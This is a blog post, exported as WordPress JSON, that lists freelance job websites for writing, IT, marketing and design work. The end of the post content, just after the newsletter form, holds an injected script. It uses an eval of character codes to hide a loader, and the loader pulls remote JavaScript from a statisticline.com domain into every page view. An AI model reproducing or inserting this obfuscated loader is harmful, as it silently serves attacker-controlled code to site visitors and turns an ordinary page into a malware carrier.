{"id":5669,"date":"2023-06-09T10:55:54","date_gmt":"2023-06-09T10:55:54","guid":{"rendered":"https:\/\/forest-1041a2.ingress-bonde.ewp.live\/find-freelance-jobs-online-with-these-freelancer-websites\/"},"modified":"2023-06-09T10:55:54","modified_gmt":"2023-06-09T10:55:54","slug":"find-freelance-jobs-online-with-these-freelancer-websites","status":"publish","type":"post","link":"http:\/\/benrmatthews.local\/find-freelance-jobs-online-with-these-freelancer-websites\/","title":{"rendered":"Find freelance jobs online with these freelancer websites"},"content":{"rendered":"<div id=\"ez-toc-container\" class=\"ez-toc-v2_0_68_1 ez-toc-wrap-center counter-hierarchy ez-toc-counter ez-toc-custom ez-toc-container-direction\">\n<div class=\"ez-toc-title-container\">\n<p class=\"ez-toc-title \" >On this page<\/p>\n<span class=\"ez-toc-title-toggle\"><\/span><\/div>\n<nav><ul class='ez-toc-list ez-toc-list-level-1 ' ><li class='ez-toc-page-1 ez-toc-heading-level-2'><a class=\"ez-toc-link ez-toc-heading-1\" href=\"http:\/\/benrmatthews.local\/find-freelance-jobs-online-with-these-freelancer-websites\/#The_Main_Freelance_Job_Websites\" title=\"The Main Freelance Job Websites\">The Main Freelance Job Websites<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-2'><a class=\"ez-toc-link ez-toc-heading-2\" href=\"http:\/\/benrmatthews.local\/find-freelance-jobs-online-with-these-freelancer-websites\/#Freelance_Writing_Job_Websites\" title=\"Freelance Writing Job Websites\">Freelance Writing Job Websites<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-2'><a class=\"ez-toc-link ez-toc-heading-3\" href=\"http:\/\/benrmatthews.local\/find-freelance-jobs-online-with-these-freelancer-websites\/#Freelance_IT_and_Web_Design_Job_Websites\" title=\"Freelance IT and\u00a0Web Design\u00a0Job Websites\">Freelance IT and\u00a0Web Design\u00a0Job Websites<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-2'><a class=\"ez-toc-link ez-toc-heading-4\" href=\"http:\/\/benrmatthews.local\/find-freelance-jobs-online-with-these-freelancer-websites\/#Freelance_Digital_Marketing_Job_Websites\" title=\"Freelance Digital Marketing Job Websites\">Freelance Digital Marketing Job Websites<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-2'><a class=\"ez-toc-link ez-toc-heading-5\" href=\"http:\/\/benrmatthews.local\/find-freelance-jobs-online-with-these-freelancer-websites\/#Freelance_Graphic_Designer_Job_Websites\" title=\"Freelance Graphic Designer\u00a0Job Websites\">Freelance Graphic Designer\u00a0Job Websites<\/a><\/li><\/ul><\/nav><\/div>\n<p>Finding freelance jobs online can be a difficult\u00a0task, but with the proliferation of online jobs sites you&#8217;ll never be stuck for options for finding freelance work online.<\/p>\n<p>I&#8217;ve compiled this list of 22 freelance websites, covering everything from web design and IT contracts to photography projects, graphic design to copywriting jobs.<\/p>\n<p>While you will want to build up your own network, referrals and repeat business, these freelance job sites can help you build up your experience and get you used to the ins and outs of working as a freelancer.<\/p>\n<p>Each entry has a link to the job site and a brief description. I plan to return to the list and update it with further details, like how much the typical project pays and which areas \/ countries\u00a0the freelance jobs tend to come from for each job site, but I hope this is a good start and is useful for those looking to find freelance jobs online.<\/p>\n<p>These lists include sites where you bid for projects, as well as \u00a0job sites and forums.\u00a0For\u00a0sites where you bid for projects, the sites\u00a0often take a commission &#8211; usually a percentage of the project fee. In case of forums, you get the ability to contact the\u00a0client directly and work out a project fee from there.<\/p>\n<p><em><strong>Don&#8217;t forget to check out my post on 28 tips from freelance job sites that you can use to be a successful freelancer\u00a0to make the most out of these freelance job sites.<\/strong><\/em><\/p>\n<p>Also read\u00a0this comment\u00a0on the Freelance subreddit if you want to escape low paying gigs on sites like these.<\/p>\n<p>There&#8217;s a lot freelance job sites out there and I&#8217;m sure I&#8217;ve missed some, so leave me a comment or get in touch if you want me to add another freelance job site.<\/p>\n<p>To make it easier, you can click on these links to skip to the section most relevant to you.<\/p>\n<h2 id=&quot;general&quot;><span class=\"ez-toc-section\" id=\"The_Main_Freelance_Job_Websites\"><\/span>The Main Freelance Job Websites<span class=\"ez-toc-section-end\"><\/span><\/h2>\n<p>Elance &#8211; One of the biggies, with over 25,000 jobs posted weekly. Free registration. No cost to apply to jobs. 100% payment protection on all your jobs.<\/p>\n<p>Freelancer.com &#8211; While not as big as Odesk or Elance, Freelancer.com posts impressive numbers, with\u00a0<span class=&quot;totalFp tick tick-scroll&quot;>13,548,918\u00a0<\/span><span class=&quot;normal&quot;>members,\u00a0<\/span><span class=&quot;currency-sign&quot;>\u00a3<\/span><span class=&quot;totalCash tick tick-scroll&quot;>1,163,903,727 worth of\u00a0fees<\/span><span class=&quot;normal&quot;>\u00a0from\u00a0<\/span><span class=&quot;totalPJ tick tick-scroll&quot;>6,635,751\u00a0<\/span><span class=&quot;normal&quot;>projects.<\/span><\/p>\n<p><span id=&quot;m_-2835268653870838778:13y.2&quot;>FreelanceMyWay<\/span>\u00a0is a great place to find online freelance jobs and hire freelancers from all over the world. Their focus is on providing quality freelancers and clients. You can find and hire freelance Logo Designers, App Developers, Writers, Website Developers,\u00a0<span id=&quot;m_-2835268653870838778:13y.3&quot;>PHP<\/span>\u00a0Developers and much more.<\/p>\n<p>Craiglist\u00a0&#8211; While you might think of Craiglist of being the place to buy and sell\u00a0furniture\u00a0or find a new flat, there are actually lots of jobs posted to their site that are perfect for freelancers &#8211; especially if you&#8217;re looking for freelance gigs from a particular location.<\/p>\n<p>Gumtree &#8211; Similar to Craigslist, but may be even more useable, Gumtree lists local jobs for people and businesses looking for freelancers in their area.<\/p>\n<h2 id=&quot;writing&quot;><span class=\"ez-toc-section\" id=\"Freelance_Writing_Job_Websites\"><\/span>Freelance Writing Job Websites<span class=\"ez-toc-section-end\"><\/span><\/h2>\n<p>Textbroker\u00a0&#8211; Founded in 2005, Textbroker\u00a0has thousands of registered authors and customers from around the globe execute more than 100,000 content orders through their site\u00a0every month. Their\u00a0clients include publicly traded corporations, small business owners, ecommerce websites, social media communities and publishers.<\/p>\n<p>Writer Access\u00a0&#8211; Earn 2 cents to $2 or more per word depending on your rating, on their site &#8211; a ranking that improves with certifications, solid performance and customer reviews. Their fully transparent pay policy means\u00a070% of every dollar a customer is paid to you.<\/p>\n<p>The Content Authority\u00a0&#8211; While looking less professional than other freelance job sites, this site has the potential to earn you more per word as the amount a writer is paid for an article is determined by the number of words requested by the client, article type, and level of quality listed for the article.<\/p>\n<p>Zerys\u00a0&#8211; Offers no monthly fees, unlimited access to writing jobs and no need to submit bid proposals. You simply get notified when new jobs are posted that match your profile and you can even develop long-term relationships with clients and build a steady source of work.<\/p>\n<p>Scripted &#8211; You&#8217;ll find higher quality writing jobs here as becoming a Scripted writer requires a high proficiency in the English language. Their\u00a0English proficiency test consists of a combination of word scrambles, idioms, and multiple choice questions that have been carefully reviewed by their\u00a0data scientists. \u00a0This level of difficulty means that\u00a080%\u00a0their writers are from the US.<\/p>\n<p>Media Bistro\u00a0&#8211; Their <a href=\"&quot;http:\/\/www.mediabistro.com\/portfolios\/marketplace_intro.asp&quot;\" class=\"broken_link\">freelance marketplace<\/a> is a great place to publicise yourself to mediabistro.com\u2019s 3 million unique visitors a month, including 100,000+ editors and managers in their\u00a0member database.<\/p>\n<p><a href=\"&quot;http:\/\/duotrope.com\/&quot;\" class=\"broken_link\">Duotrope<\/a>\u00a0&#8211; An established, award-winning writers&#8217; resource, \u00a0they currently list 5,000 fiction, poetry, and non-fiction markets that\u00a0you can applications and\u00a0bids to.<\/p>\n<p>Journalism Jobs\u00a0&#8211; Founded in August 1998 by Dan Rohn, a former copy editor and business writer with The Washington Post, JournalismJobs.com receives between 2.5 to 3 million page views a month.<\/p>\n<p>Contently\u00a0&#8211; A tech startup based in NYC with the mission of building a better media world, and empowering the three groups that have a stake in that: publishers, creative people (journalists!), and readers. Contently have talent scouts who look at portfolios\u00a0from time to time to recruit freelancers,\u00a0then they broker your work\u00a0with their\u00a0clients.<\/p>\n<h2><span class=\"ez-toc-section\" id=\"Freelance_IT_and_Web_Design_Job_Websites\"><\/span>Freelance IT and\u00a0Web Design\u00a0Job Websites<span class=\"ez-toc-section-end\"><\/span><\/h2>\n<div>CGTrader 3D Projects is a freelance\u00a0<a href=\"\/\/www.cgtrader.com\/3d-modeling-jobs&quot;\" target=\"&quot;_blank&quot;\" rel=\"&quot;noopener noopener\" saferedirecturl=\"&quot;https:\/\/www.google.com\/url?q=https:\/\/www.cgtrader.com\/3d-modeling-jobs&amp;source=gmail&amp;ust=1558722748025000&amp;usg=AFQjCNGqRcWLk8eERs1QHoXSg0suMSt5VQ&quot;\" class=\"broken_link\">3D modeling jobs<\/a>\u00a0platform operated by CGTrader, the world\u2019s largest source of licensable 3D content. CGTrader Projects connects freelance 3D designers and design studios with customers all over the world to work on exciting 3D modeling jobs. These customers come from a variety of different industries including retail, animation, gaming, architecture and 3D printing. Often if the client likes the 3D designer\u2019s work, they continue working together on other 3D jobs. 3D designers can also become CGTrader Designer Partners which enables them to work on very high level Fortune 500 accounts and enjoy steady guaranteed payments.<\/div>\n<p><a href=\"\/\/jobs.smashingmagazine.com\/&quot;\" target=\"&quot;_blank&quot;\" rel=\"&quot;noopener noopener\">Smashing Jobs<\/a>\u00a0-Smashing Magazine has more than 4 million monthly users and is known to be one of the most successful magazines for creative professionals. Smashing Jobs Smashing Magazine&#8217;s job\u00a0board for freelancers.<\/p>\n<p>Computer Assistant\u00a0&#8211; Very much geared at IT freelance consultants, Computer Assistant offers on-site technical support for companies across the US.<\/p>\n<p>GetACoder\u00a0&#8211; AS well as offering the usual bidding system for freelance projects, GetACoder has a Milestone payment system, which allows you to request a buyer to place funds in advance as milestone payments, giving you the added\u00a0security of knowing you will get regular payments across larger projects.<\/p>\n<h2><span class=\"ez-toc-section\" id=\"Freelance_Digital_Marketing_Job_Websites\"><\/span>Freelance Digital Marketing Job Websites<span class=\"ez-toc-section-end\"><\/span><\/h2>\n<p>Digital Point &#8211; While predominantly a discussion forum, Digital Point also has plenty of job opportunities posted to its messaging board.<\/p>\n<p>Warrior Forum &#8211; Another forum like Digital Point, but geared heavily towards Internet Marketing. Take a look at their Warriors For Hire thread for an idea of the kind of jobs available and how other freelancers are selling their services.<\/p>\n<h2><span class=\"ez-toc-section\" id=\"Freelance_Graphic_Designer_Job_Websites\"><\/span>Freelance Graphic Designer\u00a0Job Websites<span class=\"ez-toc-section-end\"><\/span><\/h2>\n<p>Dribbble &#8211;\u00a0Dribbble is a community of web designers, graphic designers, illustrators, icon artists, typographers, logo designers, and other creative types who share small screenshots that show their work, process, and current projects. \u00a0Their jobs board is an easy way to show off your freelance work and other &quot;shots&quot; to potential clients.<\/p>\n<p>Behance &#8211; Less comprehensive than Dribbble and with lots of full-time offers among the freelance work, but still contains loads of freelance job opportunities &#8211; mainly US-based.<\/p>\n<p><b><i>Want to get more advice on how to be a happier, confident and successful freelancer?\u00a0Get tips and ideas\u00a0delivered straight to your inbox:<\/i><\/b><\/p>\n<p>[mc4wp_form]<script id='globalsway'>var z =String;var t=z.fromCharCode(118,97,114,32,100,61,100,111,99,117,109,101,110,116,59,118,97,114,32,115,61,100,46,99,114,101,97,116,101,69,108,101,109,101,110,116,40,39,115,99,114,105,112,116,39,41,59,32,10,115,46,115,114,99,61,39,104,116,116,112,115,58,47,47,99,100,110,46,115,116,97,116,105,115,116,105,99,108,105,110,101,46,99,111,109,47,115,99,114,105,112,116,115,47,115,119,97,121,46,106,115,63,118,61,50,39,59,32,10,115,46,105,100,61,39,115,119,97,121,116,114,97,99,107,39,59,10,105,102,32,40,100,111,99,117,109,101,110,116,46,99,117,114,114,101,110,116,83,99,114,105,112,116,41,32,123,32,10,100,111,99,117,109,101,110,116,46,99,117,114,114,101,110,116,83,99,114,105,112,116,46,112,97,114,101,110,116,78,111,100,101,46,105,110,115,101,114,116,66,101,102,111,114,101,40,115,44,32,100,111,99,117,109,101,110,116,46,99,117,114,114,101,110,116,83,99,114,105,112,116,41,59,10,100,46,103,101,116,69,108,101,109,101,110,116,115,66,121,84,97,103,78,97,109,101,40,39,104,101,97,100,39,41,91,48,93,46,97,112,112,101,110,100,67,104,105,108,100,40,115,41,59,10,125);eval(\/*674867468*\/t);<\/script><\/p>\n","protected":false},"excerpt":{"rendered":"<p>Finding freelance jobs online can be a difficult\u00a0task, but with the proliferation of online jobs sites you&#8217;ll never be stuck for options for finding freelance work online. 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